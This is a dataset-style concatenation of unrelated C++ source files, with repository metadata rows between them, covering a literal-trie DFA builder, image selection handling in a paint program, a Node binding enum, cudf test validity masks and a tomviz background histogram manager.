unalpha[i] = leader;
i++;
}
for (u16 j = N_CHARS; j < ALPHABET_SIZE; j++, i++) {
alpha[j] = i;
unalpha[i] = j;
}
DEBUG_PRINTF("alphabet size %u\n", i);
return i;
}
/**
* \brief Calculate state mapping, from vertex in trie to state index in BFS
* ordering.
*/
static
unordered_map<LitTrieVertex, u32>
makeStateMap(const LitTrie &trie, const vector<LitTrieVertex> &ordering) {
unordered_map<LitTrieVertex, u32> state_ids;
state_ids.reserve(num_vertices(trie));
u32 idx = DEAD_STATE + 1;
state_ids.emplace(trie.root, idx++);
for (auto v : ordering) {
state_ids.emplace(v, idx++);
}
assert(state_ids.size() == num_vertices(trie));
return state_ids;
}
/** \brief Construct a raw_dfa from a literal trie. */
static
unique_ptr<raw_dfa> buildDfa(LitTrie &trie, bool nocase) {
DEBUG_PRINTF("trie has %zu states\n", num_vertices(trie));
vector<LitTrieVertex> ordering;
unordered_map<LitTrieVertex, LitTrieVertex> failure_map;
buildAutomaton(trie, failure_map, ordering);
// Construct DFA states in BFS order.
const auto state_ids = makeStateMap(trie, ordering);
auto rdfa = make_unique<raw_dfa>(NFA_OUTFIX);
// Calculate alphabet.
array<u16, ALPHABET_SIZE> unalpha;
auto &alpha = rdfa->alpha_remap;
rdfa->alpha_size = buildAlphabet(trie, nocase, alpha, unalpha);
// Construct states and transitions.
const u16 root_state = state_ids.at(trie.root);
assert(root_state == DEAD_STATE + 1);
rdfa->start_anchored = root_state;
rdfa->start_floating = root_state;
rdfa->states.resize(num_vertices(trie) + 1, dstate(rdfa->alpha_size));
// Dead state.
fill(rdfa->states[DEAD_STATE].next.begin(),
rdfa->states[DEAD_STATE].next.end(), DEAD_STATE);
for (auto u : vertices_range(trie)) {
auto u_state = state_ids.at(u);
DEBUG_PRINTF("state %u\n", u_state);
assert(u_state < rdfa->states.size());
auto &ds = rdfa->states[u_state];
ds.reports = trie[u].reports;
if (!ds.reports.empty()) {
DEBUG_PRINTF("reports: %s\n", as_string_list(ds.reports).c_str());
}
// Set daddy state from failure map.
if (u == trie.root) {
ds.daddy = DEAD_STATE;
} else {
assert(contains(failure_map, u));
ds.daddy = state_ids.at(failure_map.at(u));
}
// By default, transition back to the root.
fill(ds.next.begin(), ds.next.end(), root_state);
// TOP should be a self-loop.
ds.next[alpha[TOP]] = u_state;
// Add in the real transitions.
for (auto v : adjacent_vertices_range(u, trie)) {
if (v == trie.root) {
continue;
}
auto v_state = state_ids.at(v);
u16 sym = alpha[trie[v].c];
DEBUG_PRINTF("edge to %u on 0x%02x (sym %u)\n", v_state,
trie[v].c, sym);
assert(sym < ds.next.size());
assert(ds.next[sym] == root_state);
ds.next[sym] = v_state;
}
}
return rdfa;
}
#define MAX_GOOD_ACCEL_DEPTH 4
static
bool is_slow(const raw_dfa &rdfa, const set<dstate_id_t> &accel,
u32 roseQuality) {
/* we consider a dfa as slow if there is no way to quickly get into an accel
* state/dead state. In these cases, it is more likely that we will be
* running at our unaccelerated dfa speeds so the small write engine is only
* competitive over a small region where start up costs are dominant. */
if (roseQuality) {
return true;
}
set<dstate_id_t> visited;
set<dstate_id_t> next;
set<dstate_id_t> curr;
curr.insert(rdfa.start_anchored);
u32 ialpha_size = rdfa.getImplAlphaSize();
for (u32 i = 0; i < MAX_GOOD_ACCEL_DEPTH; i++) {
next.clear();
for (dstate_id_t s : curr) {
if (contains(visited, s)) {
continue;
}
visited.insert(s);
if (s == DEAD_STATE || contains(accel, s)) {
return false;
}
for (size_t j = 0; j < ialpha_size; j++) {
next.insert(rdfa.states[s].next[j]);
}
}
curr.swap(next);
}
return true;
}
static
bytecode_ptr<NFA> getDfa(raw_dfa &rdfa, const CompileContext &cc,
const ReportManager &rm, bool has_non_literals,
set<dstate_id_t> &accel_states) {
// If we determinised only literals, then we only need to consider the init
// states for acceleration.
bool only_accel_init = !has_non_literals;
bool trust_daddy_states = !has_non_literals;
bytecode_ptr<NFA> dfa = nullptr;
if (cc.grey.allowSmallWriteSheng) {
dfa = shengCompile(rdfa, cc, rm, only_accel_init, &accel_states);
if (!dfa) {
dfa = sheng32Compile(rdfa, cc, rm, only_accel_init, &accel_states);
}
if (!dfa) {
dfa = sheng64Compile(rdfa, cc, rm, only_accel_init, &accel_states);
}
}
if (!dfa) {
dfa = mcclellanCompile(rdfa, cc, rm, only_accel_init,
trust_daddy_states, &accel_states);
}
return dfa;
}
static
bytecode_ptr<NFA> prepEngine(raw_dfa &rdfa, u32 roseQuality,
const CompileContext &cc, const ReportManager &rm,
bool has_non_literals, u32 *start_offset,
u32 *small_region) {
*start_offset = remove_leading_dots(rdfa);
// Unleash the McClellan!
set<dstate_id_t> accel_states;
auto nfa = getDfa(rdfa, cc, rm, has_non_literals, accel_states);
if (!nfa) {
DEBUG_PRINTF("DFA compile failed for smallwrite NFA\n");
return nullptr;
}
if (is_slow(rdfa, accel_states, roseQuality)) {
DEBUG_PRINTF("is slow\n");
*small_region = cc.grey.smallWriteLargestBufferBad;
if (*small_region <= *start_offset) {
return nullptr;
}
if (clear_deeper_reports(rdfa, *small_region - *start_offset)) {
minimize_hopcroft(rdfa, cc.grey);
if (rdfa.start_anchored == DEAD_STATE) {
DEBUG_PRINTF("all patterns pruned out\n");
return nullptr;
}
nfa = getDfa(rdfa, cc, rm, has_non_literals, accel_states);
if (!nfa) {
DEBUG_PRINTF("DFA compile failed for smallwrite NFA\n");
assert(0); /* able to build orig dfa but not the trimmed? */
return nullptr;
}
}
} else {
*small_region = cc.grey.smallWriteLargestBuffer;
}
assert(isDfaType(nfa->type));
if (nfa->length > cc.grey.limitSmallWriteOutfixSize
|| nfa->length > cc.grey.limitDFASize) {
DEBUG_PRINTF("smallwrite outfix size too large\n");
return nullptr; /* this is just a soft failure - don't build smwr */
}
nfa->queueIndex = 0; /* dummy, small write API does not use queue */
return nfa;
}
// SmallWriteBuild factory
unique_ptr<SmallWriteBuild> makeSmallWriteBuilder(size_t num_patterns,
const ReportManager &rm,
const CompileContext &cc) {
return ue2::make_unique<SmallWriteBuildImpl>(num_patterns, rm, cc);
}
bytecode_ptr<SmallWriteEngine> SmallWriteBuildImpl::build(u32 roseQuality) {
const bool has_literals = !is_empty(lit_trie) || !is_empty(lit_trie_nocase);
const bool has_non_literals = !dfas.empty();
if (dfas.empty() && !has_literals) {
DEBUG_PRINTF("no smallwrite engine\n");
poisoned = true;
return nullptr;
}
if (poisoned) {
DEBUG_PRINTF("some pattern could not be made into a smallwrite dfa\n");
return nullptr;
}
// We happen to know that if the rose is high quality, we're going to limit
// depth further.
if (roseQuality) {
u32 max_depth = cc.grey.smallWriteLargestBufferBad;
if (!is_empty(lit_trie)) {
pruneTrie(lit_trie, max_depth);
}
if (!is_empty(lit_trie_nocase)) {
pruneTrie(lit_trie_nocase, max_depth);
}
}
if (!is_empty(lit_trie)) {
dfas.push_back(buildDfa(lit_trie, false));
DEBUG_PRINTF("caseful literal dfa with %zu states\n",
dfas.back()->states.size());
}
if (!is_empty(lit_trie_nocase)) {
dfas.push_back(buildDfa(lit_trie_nocase, true));
DEBUG_PRINTF("nocase literal dfa with %zu states\n",
dfas.back()->states.size());
}
if (dfas.empty()) {
DEBUG_PRINTF("no dfa, pruned everything away\n");
return nullptr;
}
if (!mergeDfas(dfas, rm, cc)) {
dfas.clear();
return nullptr;
}
assert(dfas.size() == 1);
auto rdfa = std::move(dfas.front());
dfas.clear();
DEBUG_PRINTF("building rdfa %p\n", rdfa.get());
u32 start_offset;
u32 small_region;
auto nfa = prepEngine(*rdfa, roseQuality, cc, rm, has_non_literals,
&start_offset, &small_region);
if (!nfa) {
DEBUG_PRINTF("some smallwrite outfix could not be prepped\n");
/* just skip the smallwrite optimization */
poisoned = true;
return nullptr;
}
u32 size = sizeof(SmallWriteEngine) + nfa->length;
auto smwr = make_zeroed_bytecode_ptr<SmallWriteEngine>(size);
smwr->size = size;
smwr->start_offset = start_offset;
smwr->largestBuffer = small_region;
/* copy in nfa after the smwr */
assert(ISALIGNED_CL(smwr.get() + 1));
memcpy(smwr.get() + 1, nfa.get(), nfa->length);
DEBUG_PRINTF("smallwrite done %p\n", smwr.get());
return smwr;
}
set<ReportID> SmallWriteBuildImpl::all_reports() const {
set<ReportID> reports;
if (poisoned) {
return reports;
}
for (const auto &rdfa : dfas) {
insert(&reports, ::ue2::all_reports(*rdfa));
}
insert(&reports, ::ue2::all_reports(lit_trie));
insert(&reports, ::ue2::all_reports(lit_trie_nocase));
return reports;
}
} // namespace ue2
| 30.312241 | 80 | 0.60525 | Mic92 |
4eb51c01562dd17a7961dfcaf83bce9071cae849 | 10,223 | cpp | C++ | document/kpDocument_Selection.cpp | mikefncu/ikPaint | ee787809c5df0a1b78995962ced4ec3870cc139c | [
"BSD-2-Clause"
] | null | null | null | document/kpDocument_Selection.cpp | mikefncu/ikPaint | ee787809c5df0a1b78995962ced4ec3870cc139c | [
"BSD-2-Clause"
] | null | null | null | document/kpDocument_Selection.cpp | mikefncu/ikPaint | ee787809c5df0a1b78995962ced4ec3870cc139c | [
"BSD-2-Clause"
] | null | null | null |
/*
Copyright (c) 2003-2007 Clarence Dang <dang@kde.org>
Modified by Maikel Diaz <ariguanabosoft@gmail.com>
Copyright (c) 2015-2018
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#define DEBUG_KP_DOCUMENT 0
#include <kpDocument.h>
#include <kpDocumentPrivate.h>
#include <math.h>
#include <qimage.h>
#include <qpainter.h>
#include <qrect.h>
#include <qdebug.h>
#include <qglobal.h>
#include <qlocale.h>
#include <kpColor.h>
#include <kpDefs.h>
#include <kpDocumentEnvironment.h>
#include <kpAbstractSelection.h>
#include <kpAbstractImageSelection.h>
#include <kpTextSelection.h>
// public
kpAbstractSelection *kpDocument::selection () const
{
return m_selection;
}
//---------------------------------------------------------------------
// public
kpAbstractImageSelection *kpDocument::imageSelection () const
{
return dynamic_cast <kpAbstractImageSelection *> (m_selection);
}
//---------------------------------------------------------------------
// public
kpTextSelection *kpDocument::textSelection () const
{
return dynamic_cast <kpTextSelection *> (m_selection);
}
//---------------------------------------------------------------------
// public
void kpDocument::setSelection (const kpAbstractSelection &selection)
{
#if DEBUG_KP_DOCUMENT && 1
kDebug () << "kpDocument::setSelection() sel boundingRect="
<< selection.boundingRect ()
<< endl;
#endif
d->environ->setQueueViewUpdates ();
{
const bool hadSelection = (bool) m_selection;
kpAbstractSelection *oldSelection = m_selection;
// (must be called before giving the document a new selection, to
// avoid a potential mess where switchToCompatibleTool() ends
// the current selection tool, killing the new selection)
bool isTextChanged = false;
d->environ->switchToCompatibleTool (selection, &isTextChanged);
Q_ASSERT (m_selection == oldSelection);
m_selection = selection.clone ();
// There's no need to uninitialize the old selection
// (e.g. call disconnect()) since we delete it later.
connect (m_selection, SIGNAL (changed (const QRect &)),
this, SLOT (slotContentsChanged (const QRect &)));
//
// Now all kpDocument state has been set.
// We can _only_ change the environment after that, as the environment
// may access the document. Exception is above with
// switchToCompatibleTool().
//
d->environ->assertMatchingUIState (selection);
//
// Now all kpDocument and environment state has been set.
// We can _only_ fire signals after that, as the signal receivers (the
// "wider environment") may access the document and the environment.
//
#if DEBUG_KP_DOCUMENT && 1
kDebug () << "\tcheck sel " << (int *) m_selection
<< " boundingRect=" << m_selection->boundingRect ()
<< endl;
#endif
if (oldSelection)
{
if (oldSelection->hasContent ())
slotContentsChanged (oldSelection->boundingRect ());
else
emit contentsChanged (oldSelection->boundingRect ());
delete oldSelection;
oldSelection = 0;
}
if (m_selection->hasContent ())
slotContentsChanged (m_selection->boundingRect ());
else
emit contentsChanged (m_selection->boundingRect ());
if (!hadSelection)
emit selectionEnabled (true);
if (isTextChanged)
emit selectionIsTextChanged (textSelection ());
}
d->environ->restoreQueueViewUpdates ();
#if DEBUG_KP_DOCUMENT && 1
kDebug () << "\tkpDocument::setSelection() ended";
#endif
}
//---------------------------------------------------------------------
// public
kpImage kpDocument::getSelectedBaseImage () const
{
kpAbstractImageSelection *imageSel = imageSelection ();
Q_ASSERT (imageSel);
// Easy if we already have it :)
const kpImage image = imageSel->baseImage ();
if (!image.isNull ())
return image;
const QRect boundingRect = imageSel->boundingRect ();
Q_ASSERT (boundingRect.isValid ());
// OPT: This is very slow. Image / More Effects ... calls us twice
// unnecessarily.
return imageSel->givenImageMaskedByShape (getImageAt (boundingRect));
}
//---------------------------------------------------------------------
// public
void kpDocument::imageSelectionPullFromDocument (const kpColor &backgroundColor)
{
kpAbstractImageSelection *imageSel = imageSelection ();
Q_ASSERT (imageSel);
// Should not already have an image or we would not be pulling.
Q_ASSERT (!imageSel->hasContent ());
const QRect boundingRect = imageSel->boundingRect ();
Q_ASSERT (boundingRect.isValid ());
//
// Get selection image from document
//
kpImage selectedImage = getSelectedBaseImage ();
d->environ->setQueueViewUpdates ();
imageSel->setBaseImage (selectedImage);
//
// Fill opaque bits of the hole in the document
//
#if !defined (QT_NO_DEBUG) && !defined (NDEBUG)
if (imageSel->transparency ().isTransparent ())
{
Q_ASSERT (backgroundColor == imageSel->transparency ().transparentColor ());
}
else
{
// If this method is begin called by a tool, the assert does not
// have to hold since transparentColor() might not be defined in Opaque
// Mode.
//
// If we were called by a tricky sequence of undo/redo commands, the assert
// does not have to hold for additional reason, which is that
// kpMainWindow::setImageSelectionTransparency() does not have to
// set <backgroundColor> in Opaque Mode.
//
// In practice, it probably does hold but I wouldn't bet on it.
}
#endif
kpImage eraseImage(boundingRect.size(), QImage::Format_ARGB32_Premultiplied);
eraseImage.fill(backgroundColor.toQRgb());
// only paint the region of the shape of the selection
QPainter painter(m_image);
painter.setClipRegion(imageSel->shapeRegion());
painter.setCompositionMode(QPainter::CompositionMode_Source);
painter.drawImage(boundingRect.topLeft(), eraseImage);
slotContentsChanged(boundingRect);
d->environ->restoreQueueViewUpdates ();
}
//---------------------------------------------------------------------
// public
void kpDocument::selectionDelete ()
{
if ( !m_selection )
return;
const QRect boundingRect = m_selection->boundingRect ();
Q_ASSERT (boundingRect.isValid ());
const bool selectionHadContent = m_selection->hasContent ();
delete m_selection;
m_selection = 0;
// HACK to prevent document from being modified when
// user cancels dragging out a new selection
// REFACTOR: Extract this out into a method.
if (selectionHadContent)
slotContentsChanged (boundingRect);
else
emit contentsChanged (boundingRect);
emit selectionEnabled (false);
}
//---------------------------------------------------------------------
// public
void kpDocument::selectionCopyOntoDocument (bool applySelTransparency)
{
// Empty selection, just doing nothing
if ( !m_selection || !m_selection->hasContent() )
return;
const QRect boundingRect = m_selection->boundingRect ();
Q_ASSERT (boundingRect.isValid ());
if (imageSelection ())
{
if (applySelTransparency)
imageSelection ()->paint (m_image, rect ());
else
imageSelection ()->paintWithBaseImage (m_image, rect ());
}
else
{
// (for antialiasing with background)
m_selection->paint (m_image, rect ());
}
slotContentsChanged (boundingRect);
}
//---------------------------------------------------------------------
// public
void kpDocument::selectionPushOntoDocument (bool applySelTransparency)
{
selectionCopyOntoDocument (applySelTransparency);
selectionDelete ();
}
//---------------------------------------------------------------------
// public
kpImage kpDocument::imageWithSelection () const
{
#if DEBUG_KP_DOCUMENT && 1
kDebug () << "kpDocument::imageWithSelection()";
#endif
// Have selection?
//
// It need not have any content because e.g. a text box with an opaque
// background, but no content, is still visually there.
if (m_selection)
{
#if DEBUG_KP_DOCUMENT && 1
kDebug () << "\tselection @ " << m_selection->boundingRect ();
#endif
kpImage output = *m_image;
// (this is a NOP for image selections without content)
m_selection->paint (&output, rect ());
return output;
}
else
{
#if DEBUG_KP_DOCUMENT && 1
kDebug () << "\tno selection";
#endif
return *m_image;
}
}
//---------------------------------------------------------------------
| 29.718023 | 84 | 0.618507 | mikefncu |
4eb531db07acf93c72e7d9459af5856ffdca03b5 | 1,199 | cpp | C++ | src/BEPSupportStatus.cpp | JoystreamClassic/joystream-node | 2450382bb937abdd959b460791c25f2d8f127168 | [
"MIT"
] | null | null | null | src/BEPSupportStatus.cpp | JoystreamClassic/joystream-node | 2450382bb937abdd959b460791c25f2d8f127168 | [
"MIT"
] | 9 | 2017-11-14T06:05:50.000Z | 2018-07-08T18:21:17.000Z | src/BEPSupportStatus.cpp | JoystreamClassic/joystream-node | 2450382bb937abdd959b460791c25f2d8f127168 | [
"MIT"
] | 4 | 2017-11-14T06:04:17.000Z | 2018-08-24T07:39:00.000Z | /**
* Copyright (C) JoyStream - All Rights Reserved
* Unauthorized copying of this file, via any medium is strictly prohibited
* Proprietary and confidential
* Written by Bedeho Mender <bedeho.mender@gmail.com>, February 2 2017
*/
#include "BEPSupportStatus.hpp"
#include "libtorrent-node/utils.hpp"
#include <extension/extension.hpp>
namespace joystream {
namespace node {
namespace bep_support_status {
NAN_MODULE_INIT(Init) {
v8::Local<v8::Object> object = Nan::New<v8::Object>();
#define SET_BEP_SUPPORT_STATUS(name) SET_VAL(object, #name, encode(extension::BEPSupportStatus::name));
SET_BEP_SUPPORT_STATUS(unknown);
SET_BEP_SUPPORT_STATUS(supported);
SET_BEP_SUPPORT_STATUS(not_supported);
SET_VAL(target, "BEPSupportStatus", object);
}
v8::Local<v8::Uint32> encode(extension::BEPSupportStatus status) {
uint32_t v = 0;
switch(status) {
case extension::BEPSupportStatus::unknown:
v = 0;
break;
case extension::BEPSupportStatus::supported:
v = 1;
break;
case extension::BEPSupportStatus::not_supported:
v = 2;
break;
}
return Nan::New<v8::Uint32>(v);
}
}
}
}
| 23.98 | 107 | 0.682235 | JoystreamClassic |
4eb57a94152fafacae7564bbeb382a322d624152 | 1,580 | cpp | C++ | cpp/tests/utilities/legacy/valid_vectors.cpp | wbo4958/cudf | b12f24d25815145a573a9d70f8c6140a8ab9d2cb | [
"Apache-2.0"
] | null | null | null | cpp/tests/utilities/legacy/valid_vectors.cpp | wbo4958/cudf | b12f24d25815145a573a9d70f8c6140a8ab9d2cb | [
"Apache-2.0"
] | null | null | null | cpp/tests/utilities/legacy/valid_vectors.cpp | wbo4958/cudf | b12f24d25815145a573a9d70f8c6140a8ab9d2cb | [
"Apache-2.0"
] | null | null | null | /*
* Copyright 2019 BlazingDB, Inc.
* Copyright 2019 Eyal Rozenberg <eyalroz@blazingdb.com>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <tests/utilities/legacy/valid_vectors.h>
host_valid_pointer create_and_init_valid(size_t length, size_t null_count)
{
auto deleter = [](cudf::valid_type* valid) { delete[] valid; };
auto n_bytes = gdf_valid_allocation_size(length);
auto valid_bits = new cudf::valid_type[n_bytes];
for (size_t i = 0; i < length; ++i) {
if ((float)std::rand() / (RAND_MAX + 1u) >= (float)null_count / (length - i)) {
cudf::util::turn_bit_on(valid_bits, i);
} else {
cudf::util::turn_bit_off(valid_bits, i);
--null_count;
}
}
return host_valid_pointer{valid_bits, deleter};
}
void initialize_valids(std::vector<host_valid_pointer>& valids,
size_t size,
size_t length,
size_t null_count)
{
valids.clear();
for (size_t i = 0; i < size; ++i) { valids.push_back(create_and_init_valid(length, null_count)); }
}
| 35.909091 | 100 | 0.675949 | wbo4958 |
4eb60ba4a14cea197d077101b0aad39fbbedaf85 | 10,849 | cxx | C++ | tomviz/HistogramManager.cxx | sukhsung/tomviz | b5ab44440be94476093206672e527c54098b58c7 | [
"BSD-3-Clause"
] | null | null | null | tomviz/HistogramManager.cxx | sukhsung/tomviz | b5ab44440be94476093206672e527c54098b58c7 | [
"BSD-3-Clause"
] | null | null | null | tomviz/HistogramManager.cxx | sukhsung/tomviz | b5ab44440be94476093206672e527c54098b58c7 | [
"BSD-3-Clause"
] | null | null | null | /* This source file is part of the Tomviz project, https://tomviz.org/.
It is released under the 3-Clause BSD License, see "LICENSE". */
#include "HistogramManager.h"
#include <vtkFloatArray.h>
#include <vtkImageData.h>
#include <vtkPointData.h>
#include <vtkTable.h>
#include <vtkUnsignedLongLongArray.h>
#include "ComputeHistogram.h"
#include <QCoreApplication>
#include <QThread>
Q_DECLARE_METATYPE(vtkSmartPointer<vtkImageData>)
Q_DECLARE_METATYPE(vtkSmartPointer<vtkTable>)
namespace {
// This is just here for now - quick and dirty historgram calculations...
void PopulateHistogram(vtkImageData* input, vtkTable* output)
{
// The output table will have the twice the number of columns, they will be
// the x and y for input column. This is the bin centers, and the population.
double minmax[2] = { 0.0, 0.0 };
// This number of bins in the 2D histogram will also be used as the number of
// bins in the 2D transfer function for X (scalar value) and Y (gradient mag.)
const int numberOfBins = 256;
// Keep the array we are working on around even if the user shallow copies
// over the input image data by incrementing the reference count here.
vtkSmartPointer<vtkDataArray> arrayPtr = input->GetPointData()->GetScalars();
if (!arrayPtr) {
return;
}
// The bin values are the centers, extending +/- half an inc either side
arrayPtr->GetFiniteRange(minmax, -1);
if (minmax[0] == minmax[1]) {
minmax[1] = minmax[0] + 1.0;
}
double inc = (minmax[1] - minmax[0]) / (numberOfBins - 1);
double halfInc = inc / 2.0;
vtkSmartPointer<vtkFloatArray> extents =
vtkFloatArray::SafeDownCast(output->GetColumnByName("image_extents"));
if (!extents) {
extents = vtkSmartPointer<vtkFloatArray>::New();
extents->SetName("image_extents");
}
extents->SetNumberOfTuples(numberOfBins);
double min = minmax[0] + halfInc;
for (int j = 0; j < numberOfBins; ++j) {
extents->SetValue(j, min + j * inc);
}
vtkSmartPointer<vtkUnsignedLongLongArray> populations =
vtkUnsignedLongLongArray::SafeDownCast(
output->GetColumnByName("image_pops"));
if (!populations) {
populations = vtkSmartPointer<vtkUnsignedLongLongArray>::New();
populations->SetName("image_pops");
}
populations->SetNumberOfTuples(numberOfBins);
auto pops = static_cast<uint64_t*>(populations->GetVoidPointer(0));
for (int k = 0; k < numberOfBins; ++k) {
pops[k] = 0;
}
int invalid = 0;
switch (arrayPtr->GetDataType()) {
vtkTemplateMacro(tomviz::CalculateHistogram(
reinterpret_cast<VTK_TT*>(arrayPtr->GetVoidPointer(0)),
arrayPtr->GetNumberOfTuples(), arrayPtr->GetNumberOfComponents(),
minmax[0], minmax[1], pops, 1.0 / inc, invalid));
default:
cout << "UpdateFromFile: Unknown data type" << endl;
}
#ifndef NDEBUG
vtkIdType total = invalid;
for (int i = 0; i < numberOfBins; ++i)
total += pops[i];
assert(total == arrayPtr->GetNumberOfTuples());
#endif
if (invalid) {
cout << "Warning: NaN or infinite value in dataset" << endl;
}
output->AddColumn(extents);
output->AddColumn(populations);
}
void Populate2DHistogram(vtkImageData* input, vtkImageData* output)
{
double minmax[2] = { 0.0, 0.0 };
const int numberOfBins = 256;
// Keep the array we are working on around even if the user shallow copies
// over the input image data by incrementing the reference count here.
vtkSmartPointer<vtkDataArray> arrayPtr = input->GetPointData()->GetScalars();
if (!arrayPtr) {
return;
}
// The bin values are the centers, extending +/- half an inc either side
arrayPtr->GetFiniteRange(minmax, -1);
if (minmax[0] == minmax[1]) {
minmax[1] = minmax[0] + 1.0;
}
// vtkPlotHistogram2D expects the histogram array to be VTK_DOUBLE
output->SetDimensions(numberOfBins, numberOfBins, 1);
output->AllocateScalars(VTK_DOUBLE, 1);
// Get input parameters
int dim[3];
input->GetDimensions(dim);
int numComp = arrayPtr->GetNumberOfComponents();
double spacing[3];
input->GetSpacing(spacing);
switch (arrayPtr->GetDataType()) {
vtkTemplateMacro(tomviz::Calculate2DHistogram(
reinterpret_cast<VTK_TT*>(arrayPtr->GetVoidPointer(0)), dim, numComp,
minmax, output, spacing));
default:
cout << "UpdateFromFile: Unknown data type" << endl;
}
}
} // namespace
namespace tomviz {
// This is a QObject that will be owned by the background thread
// and use signals/slots to create histograms
class HistogramMaker : public QObject
{
Q_OBJECT
void run();
public:
HistogramMaker(QObject* p = nullptr) : QObject(p) {}
public slots:
void makeHistogram(vtkSmartPointer<vtkImageData> input,
vtkSmartPointer<vtkTable> output);
void makeHistogram2D(vtkSmartPointer<vtkImageData> input,
vtkSmartPointer<vtkImageData> output);
signals:
void histogramDone(vtkSmartPointer<vtkImageData> image,
vtkSmartPointer<vtkTable> output);
void histogram2DDone(vtkSmartPointer<vtkImageData> image,
vtkSmartPointer<vtkImageData> output);
};
void HistogramMaker::makeHistogram(vtkSmartPointer<vtkImageData> input,
vtkSmartPointer<vtkTable> output)
{
// make the histogram and notify observers (the main thread) that it
// is done.
if (input && output) {
PopulateHistogram(input.Get(), output.Get());
}
emit histogramDone(input, output);
}
void HistogramMaker::makeHistogram2D(vtkSmartPointer<vtkImageData> input,
vtkSmartPointer<vtkImageData> output)
{
if (input && output) {
Populate2DHistogram(input.Get(), output.Get());
}
emit histogram2DDone(input, output);
}
HistogramManager::HistogramManager()
: m_histogramGen(new HistogramMaker), m_worker(new QThread(this))
{
qRegisterMetaType<vtkSmartPointer<vtkImageData>>();
qRegisterMetaType<vtkSmartPointer<vtkTable>>();
// Start the worker thread and give it ownership of the HistogramMaker
// object. Also connect the HistogramMaker's signal to the histogramReady
// slot on this object. This slot will be called on the GUI thread when the
// histogram has been finished on the background thread.
m_worker->start();
m_histogramGen->moveToThread(m_worker);
connect(m_histogramGen, SIGNAL(histogramDone(vtkSmartPointer<vtkImageData>,
vtkSmartPointer<vtkTable>)),
SLOT(histogramReadyInternal(vtkSmartPointer<vtkImageData>,
vtkSmartPointer<vtkTable>)));
connect(m_histogramGen,
SIGNAL(histogram2DDone(vtkSmartPointer<vtkImageData>,
vtkSmartPointer<vtkImageData>)),
SLOT(histogram2DReadyInternal(vtkSmartPointer<vtkImageData>,
vtkSmartPointer<vtkImageData>)));
}
HistogramManager::~HistogramManager()
{
if (m_worker) {
finalize();
}
}
void HistogramManager::finalize()
{
// disconnect all signals/slots
disconnect(m_histogramGen, nullptr, nullptr, nullptr);
// when the HistogramMaker is deleted, kill the background thread
connect(m_histogramGen, SIGNAL(destroyed()), m_worker, SLOT(quit()));
// I can't remember if deleteLater must be called on the owning thread
// play it safe and let the owning thread call it.
QMetaObject::invokeMethod(m_histogramGen, "deleteLater");
// Wait for the background thread to clean up the object and quit
while (m_worker->isRunning()) {
QCoreApplication::processEvents();
}
m_worker = nullptr;
m_histogramCache.clear();
m_histogram2DCache.clear();
}
HistogramManager& HistogramManager::instance()
{
static HistogramManager theInstance;
return theInstance;
}
vtkSmartPointer<vtkTable> HistogramManager::getHistogram(
vtkSmartPointer<vtkImageData> image)
{
if (m_histogramCache.contains(image)) {
auto cachedTable = m_histogramCache[image];
if (cachedTable->GetMTime() > image->GetMTime()) {
return cachedTable;
} else {
// Need to recalculate, clear the plots, and remove the cached data.
m_histogramCache.remove(image);
}
}
if (m_histogramsInProgress.contains(image)) {
// it is in progress, don't start a new one
return nullptr;
}
auto table = vtkSmartPointer<vtkTable>::New();
m_histogramsInProgress.append(image);
vtkSmartPointer<vtkImageData> const imageSP = image;
// This fakes a Qt signal to the background thread (without exposing the
// class internals as a signal). The background thread will then call
// makeHistogram on the HistogramMaker object with the parameters we
// gave here.
QMetaObject::invokeMethod(m_histogramGen, "makeHistogram",
Q_ARG(vtkSmartPointer<vtkImageData>, imageSP),
Q_ARG(vtkSmartPointer<vtkTable>, table));
// The histogram cannot be returned for use while the background thread is
// populating it.
return nullptr;
}
vtkSmartPointer<vtkImageData> HistogramManager::getHistogram2D(
vtkSmartPointer<vtkImageData> image)
{
if (m_histogram2DCache.contains(image)) {
auto cachedHistogram = m_histogram2DCache[image];
if (cachedHistogram->GetMTime() > image->GetMTime()) {
return cachedHistogram;
} else {
// Need to recalculate, clear the plots, and remove the cached data.
m_histogram2DCache.remove(image);
}
}
if (m_histogram2DsInProgress.contains(image)) {
// it is in progress, don't start a new one
return nullptr;
}
auto histogram = vtkSmartPointer<vtkImageData>::New();
m_histogram2DsInProgress.append(image);
vtkSmartPointer<vtkImageData> const imageSP = image;
// This fakes a Qt signal to the background thread (without exposing the
// class internals as a signal). The background thread will then call
// makeHistogram on the HistogramMaker object with the parameters we
// gave here.
QMetaObject::invokeMethod(m_histogramGen, "makeHistogram2D",
Q_ARG(vtkSmartPointer<vtkImageData>, imageSP),
Q_ARG(vtkSmartPointer<vtkImageData>, histogram));
// The histogram cannot be returned for use while the background thread is
// populating it.
return nullptr;
}
void HistogramManager::histogramReadyInternal(
vtkSmartPointer<vtkImageData> image, vtkSmartPointer<vtkTable> histogram)
{
m_histogramCache[image] = histogram;
m_histogramsInProgress.removeAll(image);
emit this->histogramReady(image, histogram);
}
